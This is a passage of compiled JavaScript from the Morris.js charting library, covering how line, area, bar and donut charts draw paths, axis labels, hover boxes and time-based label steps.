{\n          smooth = typeof this.options.smooth === \"boolean\" ? this.options.smooth : (_ref1 = this.options.ykeys[i], __indexOf.call(this.options.smooth, _ref1) >= 0);\n          coords = (function() {\n            var _j, _len, _ref2, _results1;\n            _ref2 = this.data;\n            _results1 = [];\n            for (_j = 0, _len = _ref2.length; _j < _len; _j++) {\n              r = _ref2[_j];\n              if (r._y[i] !== void 0) {\n                _results1.push({\n                  x: r._x,\n                  y: r._y[i]\n                });\n              }\n            }\n            return _results1;\n          }).call(this);\n          if (this.options.continuousLine) {\n            coords = (function() {\n              var _j, _len, _results1;\n              _results1 = [];\n              for (_j = 0, _len = coords.length; _j < _len; _j++) {\n                c = coords[_j];\n                if (c.y !== null) {\n                  _results1.push(c);\n                }\n              }\n              return _results1;\n            })();\n          }\n          if (coords.length > 1) {\n            _results.push(Morris.Line.createPath(coords, smooth, this.bottom));\n          } else {\n            _results.push(null);\n          }\n        }\n        return _results;\n      }).call(this);\n    };\n\n    Line.prototype.draw = function() {\n      var _ref;\n      if ((_ref = this.options.axes) === true || _ref === 'both' || _ref === 'x') {\n        this.drawXAxis();\n      }\n      this.drawSeries();\n      if (this.options.hideHover === false) {\n        return this.displayHoverForRow(this.data.length - 1);\n      }\n    };\n\n    Line.prototype.drawXAxis = function() {\n      var drawLabel, l, labels, prevAngleMargin, prevLabelMargin, row, ypos, _i, _len, _results,\n        _this = this;\n      ypos = this.bottom + this.options.padding / 2;\n      prevLabelMargin = null;\n      prevAngleMargin = null;\n      drawLabel = function(labelText, xpos) {\n        var label, labelBox, margin, offset, textBox;\n        label = _this.drawXAxisLabel(_this.transX(xpos), ypos, labelText);\n        textBox = label.getBBox();\n        label.transform(\"r\" + (-_this.options.xLabelAngle));\n        labelBox = label.getBBox();\n        label.transform(\"t0,\" + (labelBox.height / 2) + \"...\");\n        if (_this.options.xLabelAngle !== 0) {\n          offset = -0.5 * textBox.width * Math.cos(_this.options.xLabelAngle * Math.PI / 180.0);\n          label.transform(\"t\" + offset + \",0...\");\n        }\n        labelBox = label.getBBox();\n        if (((prevLabelMargin == null) || prevLabelMargin >= labelBox.x + labelBox.width || (prevAngleMargin != null) && prevAngleMargin >= labelBox.x) && labelBox.x >= 0 && (labelBox.x + labelBox.width) < _this.el.width()) {\n          if (_this.options.xLabelAngle !== 0) {\n            margin = 1.25 * _this.options.gridTextSize / Math.sin(_this.options.xLabelAngle * Math.PI / 180.0);\n            prevAngleMargin = labelBox.x - margin;\n          }\n          return prevLabelMargin = labelBox.x - _this.options.xLabelMargin;\n        } else {\n          return label.remove();\n        }\n      };\n      if (this.options.parseTime) {\n        if (this.data.length === 1 && this.options.xLabels === 'auto') {\n          labels = [[this.data[0].label, this.data[0].x]];\n        } else {\n          labels = Morris.labelSeries(this.xmin, this.xmax, this.width, this.options.xLabels, this.options.xLabelFormat);\n        }\n      } else {\n        labels = (function() {\n          var _i, _len, _ref, _results;\n          _ref = this.data;\n          _results = [];\n          for (_i = 0, _len = _ref.length; _i < _len; _i++) {\n            row = _ref[_i];\n            _results.push([row.label, row.x]);\n          }\n          return _results;\n        }).call(this);\n      }\n      labels.reverse();\n      _results = [];\n      for (_i = 0, _len = labels.length; _i < _len; _i++) {\n        l = labels[_i];\n        _results.push(drawLabel(l[0], l[1]));\n      }\n      return _results;\n    };\n\n    Line.prototype.drawSeries = function() {\n      var i, _i, _j, _ref, _ref1, _results;\n      this.seriesPoints = [];\n      for (i = _i = _ref = this.options.ykeys.length - 1; _ref <= 0 ? _i <= 0 : _i >= 0; i = _ref <= 0 ? ++_i : --_i) {\n        this._drawLineFor(i);\n      }\n      _results = [];\n      for (i = _j = _ref1 = this.options.ykeys.length - 1; _ref1 <= 0 ? _j <= 0 : _j >= 0; i = _ref1 <= 0 ? ++_j : --_j) {\n        _results.push(this._drawPointFor(i));\n      }\n      return _results;\n    };\n\n    Line.prototype._drawPointFor = function(index) {\n      var circle, row, _i, _len, _ref, _results;\n      this.seriesPoints[index] = [];\n      _ref = this.data;\n      _results = [];\n      for (_i = 0, _len = _ref.length; _i < _len; _i++) {\n        row = _ref[_i];\n        circle = null;\n        if (row._y[index] != null) {\n          circle = this.drawLinePoint(row._x, row._y[index], this.colorFor(row, index, 'point'), index);\n        }\n        _results.push(this.seriesPoints[index].push(circle));\n      }\n      return _results;\n    };\n\n    Line.prototype._drawLineFor = function(index) {\n      var path;\n      path = this.paths[index];\n      if (path !== null) {\n        return this.drawLinePath(path, this.colorFor(null, index, 'line'), index);\n      }\n    };\n\n    Line.createPath = function(coords, smooth, bottom) {\n      var coord, g, grads, i, ix, lg, path, prevCoord, x1, x2, y1, y2, _i, _len;\n      path = \"\";\n      if (smooth) {\n        grads = Morris.Line.gradients(coords);\n      }\n      prevCoord = {\n        y: null\n      };\n      for (i = _i = 0, _len = coords.length; _i < _len; i = ++_i) {\n        coord = coords[i];\n        if (coord.y != null) {\n          if (prevCoord.y != null) {\n            if (smooth) {\n              g = grads[i];\n              lg = grads[i - 1];\n              ix = (coord.x - prevCoord.x) / 4;\n              x1 = prevCoord.x + ix;\n              y1 = Math.min(bottom, prevCoord.y + ix * lg);\n              x2 = coord.x - ix;\n              y2 = Math.min(bottom, coord.y - ix * g);\n              path += \"C\" + x1 + \",\" + y1 + \",\" + x2 + \",\" + y2 + \",\" + coord.x + \",\" + coord.y;\n            } else {\n              path += \"L\" + coord.x + \",\" + coord.y;\n            }\n          } else {\n            if (!smooth || (grads[i] != null)) {\n              path += \"M\" + coord.x + \",\" + coord.y;\n            }\n          }\n        }\n        prevCoord = coord;\n      }\n      return path;\n    };\n\n    Line.gradients = function(coords) {\n      var coord, grad, i, nextCoord, prevCoord, _i, _len, _results;\n      grad = function(a, b) {\n        return (a.y - b.y) / (a.x - b.x);\n      };\n      _results = [];\n      for (i = _i = 0, _len = coords.length; _i < _len; i = ++_i) {\n        coord = coords[i];\n        if (coord.y != null) {\n          nextCoord = coords[i + 1] || {\n            y: null\n          };\n          prevCoord = coords[i - 1] || {\n            y: null\n          };\n          if ((prevCoord.y != null) && (nextCoord.y != null)) {\n            _results.push(grad(prevCoord, nextCoord));\n          } else if (prevCoord.y != null) {\n            _results.push(grad(prevCoord, coord));\n          } else if (nextCoord.y != null) {\n            _results.push(grad(coord, nextCoord));\n          } else {\n            _results.push(null);\n          }\n        } else {\n          _results.push(null);\n        }\n      }\n      return _results;\n    };\n\n    Line.prototype.hilight = function(index) {\n      var i, _i, _j, _ref, _ref1;\n      if (this.prevHilight !== null && this.prevHilight !== index) {\n        for (i = _i = 0, _ref = this.seriesPoints.length - 1; 0 <= _ref ? _i <= _ref : _i >= _ref; i = 0 <= _ref ? ++_i : --_i) {\n          if (this.seriesPoints[i][this.prevHilight]) {\n            this.seriesPoints[i][this.prevHilight].animate(this.pointShrinkSeries(i));\n          }\n        }\n      }\n      if (index !== null && this.prevHilight !== index) {\n        for (i = _j = 0, _ref1 = this.seriesPoints.length - 1; 0 <= _ref1 ? _j <= _ref1 : _j >= _ref1; i = 0 <= _ref1 ? ++_j : --_j) {\n          if (this.seriesPoints[i][index]) {\n            this.seriesPoints[i][index].animate(this.pointGrowSeries(i));\n          }\n        }\n      }\n      return this.prevHilight = index;\n    };\n\n    Line.prototype.colorFor = function(row, sidx, type) {\n      if (typeof this.options.lineColors === 'function') {\n        return this.options.lineColors.call(this, row, sidx, type);\n      } else if (type === 'point') {\n        return this.options.pointFillColors[sidx % this.options.pointFillColors.length] || this.options.lineColors[sidx % this.options.lineColors.length];\n      } else {\n        return this.options.lineColors[sidx % this.options.lineColors.length];\n      }\n    };\n\n    Line.prototype.drawXAxisLabel = function(xPos, yPos, text) {\n      return this.raphael.text(xPos, yPos, text).attr('font-size', this.options.gridTextSize).attr('font-family', this.options.gridTextFamily).attr('font-weight', this.options.gridTextWeight).attr('fill', this.options.gridTextColor);\n    };\n\n    Line.prototype.drawLinePath = function(path, lineColor, lineIndex) {\n      return this.raphael.path(path).attr('stroke', lineColor).attr('stroke-width', this.lineWidthForSeries(lineIndex));\n    };\n\n    Line.prototype.drawLinePoint = function(xPos, yPos, pointColor, lineIndex) {\n      return this.raphael.circle(xPos, yPos, this.pointSizeForSeries(lineIndex)).attr('fill', pointColor).attr('stroke-width', this.pointStrokeWidthForSeries(lineIndex)).attr('stroke', this.pointStrokeColorForSeries(lineIndex));\n    };\n\n    Line.prototype.pointStrokeWidthForSeries = function(index) {\n      return this.options.pointStrokeWidths[index % this.options.pointStrokeWidths.length];\n    };\n\n    Line.prototype.pointStrokeColorForSeries = function(index) {\n      return this.options.pointStrokeColors[index % this.options.pointStrokeColors.length];\n    };\n\n    Line.prototype.lineWidthForSeries = function(index) {\n      if (this.options.lineWidth instanceof Array) {\n        return this.options.lineWidth[index % this.options.lineWidth.length];\n      } else {\n        return this.options.lineWidth;\n      }\n    };\n\n    Line.prototype.pointSizeForSeries = function(index) {\n      if (this.options.pointSize instanceof Array) {\n        return this.options.pointSize[index % this.options.pointSize.length];\n      } else {\n        return this.options.pointSize;\n      }\n    };\n\n    Line.prototype.pointGrowSeries = function(index) {\n      return Raphael.animation({\n        r: this.pointSizeForSeries(index) + 3\n      }, 25, 'linear');\n    };\n\n    Line.prototype.pointShrinkSeries = function(index) {\n      return Raphael.animation({\n        r: this.pointSizeForSeries(index)\n      }, 25, 'linear');\n    };\n\n    return Line;\n\n  })(Morris.Grid);\n\n  Morris.labelSeries = function(dmin, dmax, pxwidth, specName, xLabelFormat) {\n    var d, d0, ddensity, name, ret, s, spec, t, _i, _len, _ref;\n    ddensity = 200 * (dmax - dmin) / pxwidth;\n    d0 = new Date(dmin);\n    spec = Morris.LABEL_SPECS[specName];\n    if (spec === void 0) {\n      _ref = Morris.AUTO_LABEL_ORDER;\n      for (_i = 0, _len = _ref.length; _i < _len; _i++) {\n        name = _ref[_i];\n        s = Morris.LABEL_SPECS[name];\n        if (ddensity >= s.span) {\n          spec = s;\n          break;\n        }\n      }\n    }\n    if (spec === void 0) {\n      spec = Morris.LABEL_SPECS[\"second\"];\n    }\n    if (xLabelFormat) {\n      spec = $.extend({}, spec, {\n        fmt: xLabelFormat\n      });\n    }\n    d = spec.start(d0);\n    ret = [];\n    while ((t = d.getTime()) <= dmax) {\n      if (t >= dmin) {\n        ret.push([spec.fmt(d), t]);\n      }\n      spec.incr(d);\n    }\n    return ret;\n  };\n\n  minutesSpecHelper = function(interval) {\n    return {\n      span: interval * 60 * 1000,\n      start: function(d) {\n        return new Date(d.getFullYear(), d.getMonth(), d.getDate(), d.getHours());\n      },\n      fmt: function(d) {\n        return \"\" + (Morris.pad2(d.getHours())) + \":\" + (Morris.pad2(d.getMinutes()));\n      },\n      incr: function(d) {\n        return d.setUTCMinutes(d.getUTCMinutes() + interval);\n      }\n    };\n  };\n\n  secondsSpecHelper = function(interval) {\n    return {\n      span: interval * 1000,\n      start: function(d) {\n        return new Date(d.getFullYear(), d.getMonth(), d.getDate(), d.getHours(), d.getMinutes());\n      },\n      fmt: function(d) {\n        return \"\" + (Morris.pad2(d.getHours())) + \":\" + (Morris.pad2(d.getMinutes())) + \":\" + (Morris.pad2(d.getSeconds()));\n      },\n      incr: function(d) {\n        return d.setUTCSeconds(d.getUTCSeconds() + interval);\n      }\n    };\n  };\n\n  Morris.LABEL_SPECS = {\n    \"decade\": {\n      span: 172800000000,\n      start: function(d) {\n        return new Date(d.getFullYear() - d.getFullYear() % 10, 0, 1);\n      },\n      fmt: function(d) {\n        return \"\" + (d.getFullYear());\n      },\n      incr: function(d) {\n        return d.setFullYear(d.getFullYear() + 10);\n      }\n    },\n    \"year\": {\n      span: 17280000000,\n      start: function(d) {\n        return new Date(d.getFullYear(), 0, 1);\n      },\n      fmt: function(d) {\n        return \"\" + (d.getFullYear());\n      },\n      incr: function(d) {\n        return d.setFullYear(d.getFullYear() + 1);\n      }\n    },\n    \"month\": {\n      span: 2419200000,\n      start: function(d) {\n        return new Date(d.getFullYear(), d.getMonth(), 1);\n      },\n      fmt: function(d) {\n        return \"\" + (d.getFullYear()) + \"-\" + (Morris.pad2(d.getMonth() + 1));\n      },\n      incr: function(d) {\n        return d.setMonth(d.getMonth() + 1);\n      }\n    },\n    \"week\": {\n      span: 604800000,\n      start: function(d) {\n        return new Date(d.getFullYear(), d.getMonth(), d.getDate());\n      },\n      fmt: function(d) {\n        return \"\" + (d.getFullYear()) + \"-\" + (Morris.pad2(d.getMonth() + 1)) + \"-\" + (Morris.pad2(d.getDate()));\n      },\n      incr: function(d) {\n        return d.setDate(d.getDate() + 7);\n      }\n    },\n    \"day\": {\n      span: 86400000,\n      start: function(d) {\n        return new Date(d.getFullYear(), d.getMonth(), d.getDate());\n      },\n      fmt: function(d) {\n        return \"\" + (d.getFullYear()) + \"-\" + (Morris.pad2(d.getMonth() + 1)) + \"-\" + (Morris.pad2(d.getDate()));\n      },\n      incr: function(d) {\n        return d.setDate(d.getDate() + 1);\n      }\n    },\n    \"hour\": minutesSpecHelper(60),\n    \"30min\": minutesSpecHelper(30),\n    \"15min\": minutesSpecHelper(15),\n    \"10min\": minutesSpecHelper(10),\n    \"5min\": minutesSpecHelper(5),\n    \"minute\": minutesSpecHelper(1),\n    \"30sec\": secondsSpecHelper(30),\n    \"15sec\": secondsSpecHelper(15),\n    \"10sec\": secondsSpecHelper(10),\n    \"5sec\": secondsSpecHelper(5),\n    \"second\": secondsSpecHelper(1)\n  };\n\n  Morris.AUTO_LABEL_ORDER = [\"decade\", \"year\", \"month\", \"week\", \"day\", \"hour\", \"30min\", \"15min\", \"10min\", \"5min\", \"minute\", \"30sec\", \"15sec\", \"10sec\", \"5sec\", \"second\"];\n\n  Morris.Area = (function(_super) {\n    var areaDefaults;\n\n    __extends(Area, _super);\n\n    areaDefaults = {\n      fillOpacity: 'auto',\n      behaveLikeLine: false\n    };\n\n    function Area(options) {\n      var areaOptions;\n      if (!(this instanceof Morris.Area)) {\n        return new Morris.Area(options);\n      }\n      areaOptions = $.extend({}, areaDefaults, options);\n      this.cumulative = !areaOptions.behaveLikeLine;\n      if (areaOptions.fillOpacity === 'auto') {\n        areaOptions.fillOpacity = areaOptions.behaveLikeLine ? .8 : 1;\n      }\n      Area.__super__.constructor.call(this, areaOptions);\n    }\n\n    Area.prototype.calcPoints = function() {\n      var row, total, y, _i, _len, _ref, _results;\n      _ref = this.data;\n      _results = [];\n      for (_i = 0, _len = _ref.length; _i < _len; _i++) {\n        row = _ref[_i];\n        row._x = this.transX(row.x);\n        total = 0;\n        row._y = (function() {\n          var _j, _len1, _ref1, _results1;\n          _ref1 = row.y;\n          _results1 = [];\n          for (_j = 0, _len1 = _ref1.length; _j < _len1; _j++) {\n            y = _ref1[_j];\n            if (this.options.behaveLikeLine) {\n              _results1.push(this.transY(y));\n            } else {\n              total += y || 0;\n              _results1.push(this.transY(total));\n            }\n          }\n          return _results1;\n        }).call(this);\n        _results.push(row._ymax = Math.max.apply(Math, row._y));\n      }\n      return _results;\n    };\n\n    Area.prototype.drawSeries = function() {\n      var i, range, _i, _j, _k, _len, _ref, _ref1, _results, _results1, _results2;\n      this.seriesPoints = [];\n      if (this.options.behaveLikeLine) {\n        range = (function() {\n          _results = [];\n          for (var _i = 0, _ref = this.options.ykeys.length - 1; 0 <= _ref ? _i <= _ref : _i >= _ref; 0 <= _ref ? _i++ : _i--){ _results.push(_i); }\n          return _results;\n        }).apply(this);\n      } else {\n        range = (function() {\n          _results1 = [];\n          for (var _j = _ref1 = this.options.ykeys.length - 1; _ref1 <= 0 ? _j <= 0 : _j >= 0; _ref1 <= 0 ? _j++ : _j--){ _results1.push(_j); }\n          return _results1;\n        }).apply(this);\n      }\n      _results2 = [];\n      for (_k = 0, _len = range.length; _k < _len; _k++) {\n        i = range[_k];\n        this._drawFillFor(i);\n        this._drawLineFor(i);\n        _results2.push(this._drawPointFor(i));\n      }\n      return _results2;\n    };\n\n    Area.prototype._drawFillFor = function(index) {\n      var path;\n      path = this.paths[index];\n      if (path !== null) {\n        path = path + (\"L\" + (this.transX(this.xmax)) + \",\" + this.bottom + \"L\" + (this.transX(this.xmin)) + \",\" + this.bottom + \"Z\");\n        return this.drawFilledPath(path, this.fillForSeries(index));\n      }\n    };\n\n    Area.prototype.fillForSeries = function(i) {\n      var color;\n      color = Raphael.rgb2hsl(this.colorFor(this.data[i], i, 'line'));\n      return Raphael.hsl(color.h, this.options.behaveLikeLine ? color.s * 0.9 : color.s * 0.75, Math.min(0.98, this.options.behaveLikeLine ? color.l * 1.2 : color.l * 1.25));\n    };\n\n    Area.prototype.drawFilledPath = function(path, fill) {\n      return this.raphael.path(path).attr('fill', fill).attr('fill-opacity', this.options.fillOpacity).attr('stroke', 'none');\n    };\n\n    return Area;\n\n  })(Morris.Line);\n\n  Morris.Bar = (function(_super) {\n    __extends(Bar, _super);\n\n    function Bar(options) {\n      this.onHoverOut = __bind(this.onHoverOut, this);\n      this.onHoverMove = __bind(this.onHoverMove, this);\n      this.onGridClick = __bind(this.onGridClick, this);\n      if (!(this instanceof Morris.Bar)) {\n        return new Morris.Bar(options);\n      }\n      Bar.__super__.constructor.call(this, $.extend({}, options, {\n        parseTime: false\n      }));\n    }\n\n    Bar.prototype.init = function() {\n      this.cumulative = this.options.stacked;\n      if (this.options.hideHover !== 'always') {\n        this.hover = new Morris.Hover({\n          parent: this.el\n        });\n        this.on('hovermove', this.onHoverMove);\n        this.on('hoverout', this.onHoverOut);\n        return this.on('gridclick', this.onGridClick);\n      }\n    };\n\n    Bar.prototype.defaults = {\n      barSizeRatio: 0.75,\n      barGap: 3,\n      barColors: ['#0b62a4', '#7a92a3', '#4da74d', '#afd8f8', '#edc240', '#cb4b4b', '#9440ed'],\n      barOpacity: 1.0,\n      barRadius: [0, 0, 0, 0],\n      xLabelMargin: 50\n    };\n\n    Bar.prototype.calc = function() {\n      var _ref;\n      this.calcBars();\n      if (this.options.hideHover === false) {\n        return (_ref = this.hover).update.apply(_ref, this.hoverContentForRow(this.data.length - 1));\n      }\n    };\n\n    Bar.prototype.calcBars = function() {\n      var idx, row, y, _i, _len, _ref, _results;\n      _ref = this.data;\n      _results = [];\n      for (idx = _i = 0, _len = _ref.length; _i < _len; idx = ++_i) {\n        row = _ref[idx];\n        row._x = this.left + this.width * (idx + 0.5) / this.data.length;\n        _results.push(row._y = (function() {\n          var _j, _len1, _ref1, _results1;\n          _ref1 = row.y;\n          _results1 = [];\n          for (_j = 0, _len1 = _ref1.length; _j < _len1; _j++) {\n            y = _ref1[_j];\n            if (y != null) {\n              _results1.push(this.transY(y));\n            } else {\n              _results1.push(null);\n            }\n          }\n          return _results1;\n        }).call(this));\n      }\n      return _results;\n    };\n\n    Bar.prototype.draw = function() {\n      var _ref;\n      if ((_ref = this.options.axes) === true || _ref === 'both' || _ref === 'x') {\n        this.drawXAxis();\n      }\n      return this.drawSeries();\n    };\n\n    Bar.prototype.drawXAxis = function() {\n      var i, label, labelBox, margin, offset, prevAngleMargin, prevLabelMargin, row, textBox, ypos, _i, _ref, _results;\n      ypos = this.bottom + (this.options.xAxisLabelTopPadding || this.options.padding / 2);\n      prevLabelMargin = null;\n      prevAngleMargin = null;\n      _results = [];\n      for (i = _i = 0, _ref = this.data.length; 0 <= _ref ? _i < _ref : _i > _ref; i = 0 <= _ref ? ++_i : --_i) {\n        row = this.data[this.data.length - 1 - i];\n        label = this.drawXAxisLabel(row._x, ypos, row.label);\n        textBox = label.getBBox();\n        label.transform(\"r\" + (-this.options.xLabelAngle));\n        labelBox = label.getBBox();\n        label.transform(\"t0,\" + (labelBox.height / 2) + \"...\");\n        if (this.options.xLabelAngle !== 0) {\n          offset = -0.5 * textBox.width * Math.cos(this.options.xLabelAngle * Math.PI / 180.0);\n          label.transform(\"t\" + offset + \",0...\");\n        }\n        if (((prevLabelMargin == null) || prevLabelMargin >= labelBox.x + labelBox.width || (prevAngleMargin != null) && prevAngleMargin >= labelBox.x) && labelBox.x >= 0 && (labelBox.x + labelBox.width) < this.el.width()) {\n          if (this.options.xLabelAngle !== 0) {\n            margin = 1.25 * this.options.gridTextSize / Math.sin(this.options.xLabelAngle * Math.PI / 180.0);\n            prevAngleMargin = labelBox.x - margin;\n          }\n          _results.push(prevLabelMargin = labelBox.x - this.options.xLabelMargin);\n        } else {\n          _results.push(label.remove());\n        }\n      }\n      return _results;\n    };\n\n    Bar.prototype.drawSeries = function() {\n      var barWidth, bottom, groupWidth, idx, lastTop, left, leftPadding, numBars, row, sidx, size, top, ypos, zeroPos;\n      groupWidth = this.width / this.options.data.length;\n      numBars = this.options.stacked != null ? 1 : this.options.ykeys.length;\n      barWidth = (groupWidth * this.options.barSizeRatio - this.options.barGap * (numBars - 1)) / numBars;\n      leftPadding = groupWidth * (1 - this.options.barSizeRatio) / 2;\n      zeroPos = this.ymin <= 0 && this.ymax >= 0 ? this.transY(0) : null;\n      return this.bars = (function() {\n        var _i, _len, _ref, _results;\n        _ref = this.data;\n        _results = [];\n        for (idx = _i = 0, _len = _ref.length; _i < _len; idx = ++_i) {\n          row = _ref[idx];\n          lastTop = 0;\n          _results.push((function() {\n            var _j, _len1, _ref1, _results1;\n            _ref1 = row._y;\n            _results1 = [];\n            for (sidx = _j = 0, _len1 = _ref1.length; _j < _len1; sidx = ++_j) {\n              ypos = _ref1[sidx];\n              if (ypos !== null) {\n                if (zeroPos) {\n                  top = Math.min(ypos, zeroPos);\n                  bottom = Math.max(ypos, zeroPos);\n                } else {\n                  top = ypos;\n                  bottom = this.bottom;\n                }\n                left = this.left + idx * groupWidth + leftPadding;\n                if (!this.options.stacked) {\n                  left += sidx * (barWidth + this.options.barGap);\n                }\n                size = bottom - top;\n                if (this.options.stacked) {\n                  top -= lastTop;\n                }\n                this.drawBar(left, top, barWidth, size, this.colorFor(row, sidx, 'bar'), this.options.barOpacity, this.options.barRadius);\n                _results1.push(lastTop += size);\n              } else {\n                _results1.push(null);\n              }\n            }\n            return _results1;\n          }).call(this));\n        }\n        return _results;\n      }).call(this);\n    };\n\n    Bar.prototype.colorFor = function(row, sidx, type) {\n      var r, s;\n      if (typeof this.options.barColors === 'function') {\n        r = {\n          x: row.x,\n          y: row.y[sidx],\n          label: row.label\n        };\n        s = {\n          index: sidx,\n          key: this.options.ykeys[sidx],\n          label: this.options.labels[sidx]\n        };\n        return this.options.barColors.call(this, r, s, type);\n      } else {\n        return this.options.barColors[sidx % this.options.barColors.length];\n      }\n    };\n\n    Bar.prototype.hitTest = function(x) {\n      if (this.data.length === 0) {\n        return null;\n      }\n      x = Math.max(Math.min(x, this.right), this.left);\n      return Math.min(this.data.length - 1, Math.floor((x - this.left) / (this.width / this.data.length)));\n    };\n\n    Bar.prototype.onGridClick = function(x, y) {\n      var index;\n      index = this.hitTest(x);\n      return this.fire('click', index, this.data[index].src, x, y);\n    };\n\n    Bar.prototype.onHoverMove = function(x, y) {\n      var index, _ref;\n      index = this.hitTest(x);\n      return (_ref = this.hover).update.apply(_ref, this.hoverContentForRow(index));\n    };\n\n    Bar.prototype.onHoverOut = function() {\n      if (this.options.hideHover !== false) {\n        return this.hover.hide();\n      }\n    };\n\n    Bar.prototype.hoverContentForRow = function(index) {\n      var content, j, row, x, y, _i, _len, _ref;\n      row = this.data[index];\n      content = \"<div class='morris-hover-row-label'>\" + row.label + \"</div>\";\n      _ref = row.y;\n      for (j = _i = 0, _len = _ref.length; _i < _len; j = ++_i) {\n        y = _ref[j];\n        content += \"<div class='morris-hover-point' style='color: \" + (this.colorFor(row, j, 'label')) + \"'>\\n  \" + this.options.labels[j] + \":\\n  \" + (this.yLabelFormat(y)) + \"\\n</div>\";\n      }\n      if (typeof this.options.hoverCallback === 'function') {\n        content = this.options.hoverCallback(index, this.options, content, row.src);\n      }\n      x = this.left + (index + 0.5) * this.width / this.data.length;\n      return [content, x];\n    };\n\n    Bar.prototype.drawXAxisLabel = function(xPos, yPos, text) {\n      var label;\n      return label = this.raphael.text(xPos, yPos, text).attr('font-size', this.options.gridTextSize).attr('font-family', this.options.gridTextFamily).attr('font-weight', this.options.gridTextWeight).attr('fill', this.options.gridTextColor);\n    };\n\n    Bar.prototype.drawBar = function(xPos, yPos, width, height, barColor, opacity, radiusArray) {\n      var maxRadius, path;\n      maxRadius = Math.max.apply(Math, radiusArray);\n      if (maxRadius === 0 || maxRadius > height) {\n        path = this.raphael.rect(xPos, yPos, width, height);\n      } else {\n        path = this.raphael.path(this.roundedRect(xPos, yPos, width, height, radiusArray));\n      }\n      return path.attr('fill', barColor).attr('fill-opacity', opacity).attr('stroke', 'none');\n    };\n\n    Bar.prototype.roundedRect = function(x, y, w, h, r) {\n      if (r == null) {\n        r = [0, 0, 0, 0];\n      }\n      return [\"M\", x, r[0] + y, \"Q\", x, y, x + r[0], y, \"L\", x + w - r[1], y, \"Q\", x + w, y, x + w, y + r[1], \"L\", x + w, y + h - r[2], \"Q\", x + w, y + h, x + w - r[2], y + h, \"L\", x + r[3], y + h, \"Q\", x, y + h, x, y + h - r[3], \"Z\"];\n    };\n\n    return Bar;\n\n  })(Morris.Grid);\n\n  Morris.Donut = (function(_super) {\n    __extends(Donut, _super);\n\n    Donut.prototype.defaults = {\n      colors: ['#0B62A4', '#3980B5', '#679DC6', '#95BBD7', '#B0CCE1', '#095791', '#095085', '#083E67', '#052C48', '#042135'],\n      backgroundColor: '#FFFFFF',\n      labelColor: '#000000',\n      formatter: Morris.commas,\n      resize: false\n    };\n\n    function Donut(options) {\n      this.resizeHandler = __bind(this.resizeHandler, this);\n      this.select = __bind(this.select, this);\n      this.click = __bind(this.click, this);\n      var _this = this;\n      if (!(this instanceof Morris.Donut)) {\n        return new Morris.Donut(options);\n      }\n      this.options = $.extend({}, this.defaults, options);\n      if (typeof options.element === 'string') {\n        this.el = $(document.getElementById(options.element));\n      } else {\n        this.el = $(options.element);\n      }\n      if (this.el === null || this.el.length === 0) {\n        throw new Error(\"Graph placeholder not found.\");\n      }\n      if (options.data === void 0 || options.data.length === 0) {\n        return;\n      }\n      this.raphael = new Raphael(this.el[0]);\n      if (this.options.resize) {\n        $(window).bind('resize', function(evt) {\n          if (_this.timeoutId != null) {\n            window.clearTimeout(_this.timeoutId);\n          }\n          return _this.timeoutId = window.setTimeout(_this.resizeHandler, 100);\n        });\n      }\n      this.setData(options.data);\n    }\n\n    Donut.prototype.redraw = function() {\n      var C, cx, cy, i, idx, last, max_value, min, next, seg, total, value, w, _i, _j, _k, _len, _len1, _len2, _ref, _ref1, _ref2, _results;\n      this.raphael.clear();\n      cx = this.el.width() / 2;\n      cy = this.el.height() / 2;\n      w = (Math.min(cx, cy) - 10) / 3;\n      total = 0;\n      _ref = this.values;\n      for (_i = 0, _len = _ref.length; _i < _len; _i++) {\n        value = _ref[_i];\n        total += value;\n      }\n      min = 5 / (2 * w);\n      C = 1.9999 * Math.PI - min * this.data.length;\n      last = 0;\n      idx = 0;\n      this.segments = [];\n      _ref1 = this.values;\n      for (i = _j = 0, _len1 = _ref1.length; _j < _len1; i = ++_j) {\n        value = _ref1[i];\n        next = last + min + C * (value / total);\n        seg = new Morris.DonutSegment(cx, cy, w * 2, w, last, next, this.data[i].color || this.options.colors[idx % this.options.colors.length], this.options.backgroundColor, idx, this.raphael);\n        seg.render();\n        this.segments.push(seg);\n        seg.on('hover', this.select);\n        seg.on('click', this.click);\n        last = next;\n        idx += 1;\n      }\n      this.text1 = this.drawEmptyDonutLabel(cx, cy - 10, this.options.labelColor, 15, 800);\n      this.text2 = this.drawEmptyDonutLabel(cx, cy + 10, this.options.labelColor, 14);\n      max_value = Math.max.apply(Math, this.values);\n      idx = 0;\n      _ref2 = this.values;\n      _results = [];\n      for (_k = 0, _len2 = _ref2.length; _k < _len2; _k++) {\n        value = _ref2[_k];\n        if (value === max_value) {\n          this.select(idx);\n          break;\n        }\n        _results.push(idx += 1);\n      }\n      return _results;\n    };\n\n    Donut.prototype.setData = function(data) {\n      var row;\n      this.data = data;\n      this.values = (function() {\n        var _i, _len, _ref, _results;\n        _ref = this.data;\n        _results = [];\n        for (_i = 0, _len = _ref.length; _i < _len; _i++) {\n          row = _ref[_i];\n          _results.push(parseFloat(row.value));\n        }\n        return _results;\n      }).call(this);\n      return this.redraw();\n    };\n\n    Donut.prototype.click = function(idx) {\n      return this.fire('click', idx, this.data[idx]);\n    };\n\n    Donut.prototype.select = function(idx) {\n      var row, s, segment, _i, _len, _ref;\n      _ref = this.segments;\n      for (_i = 0, _len = _ref.length; _i < _len; _i++) {\n        s = _ref[_i];\n        s.deselect();\n      }\n      segment = this.segments[idx];\n      segment.select();\n      row = this.data[idx];\n      return this.setLabels(row.label, this.options.formatter(row.value, row));\n    };\n\n    Donut.prototype.setLabels = function(label1, label2) {\n      var inner, maxHeightBottom, maxHeightTop, maxWidth, text1bbox, text1scale, text2bbox, text2scale;\n      inner = (Math.min(this.el.width() / 2, this.el.height() / 2) - 10) * 2 / 3;\n      maxWidth = 1.8 * inner;\n      maxHeightTop = inner / 2;\n      maxHeightBottom = inner / 3;\n      this.text1.attr({\n        text: label1,\n        transform: ''\n      });\n      text1bbox = this.text1.getBBox();\n      text1scale = Math.min(maxWidth / text1bbox.width, maxHeightTop / text1bbox.height);\n      this.text1.attr({\n        transform: \"S\" + text1scale + \",\" + text1scale + \",\" + (text1bbox.x + text1bbox.width / 2) + \",\" + (text1bbox.y + text1bbox.height)\n      });\n      this.text2.attr({\n        text: label2,\n        transform: ''\n      });\n      text2bbox = this.text2.getBBox();\n      text2scale = Math.min(maxWidth / text2bbox.width, maxHeightBottom / text2bbox.height);\n      return this.text2.attr({\n        transform: \"S\" + text2scale + \",\" + text2scale + \",\" + (text2bbox.x + text2bbox.width / 2) + \",\" + text2bbox.y\n      });\n    };\n\n    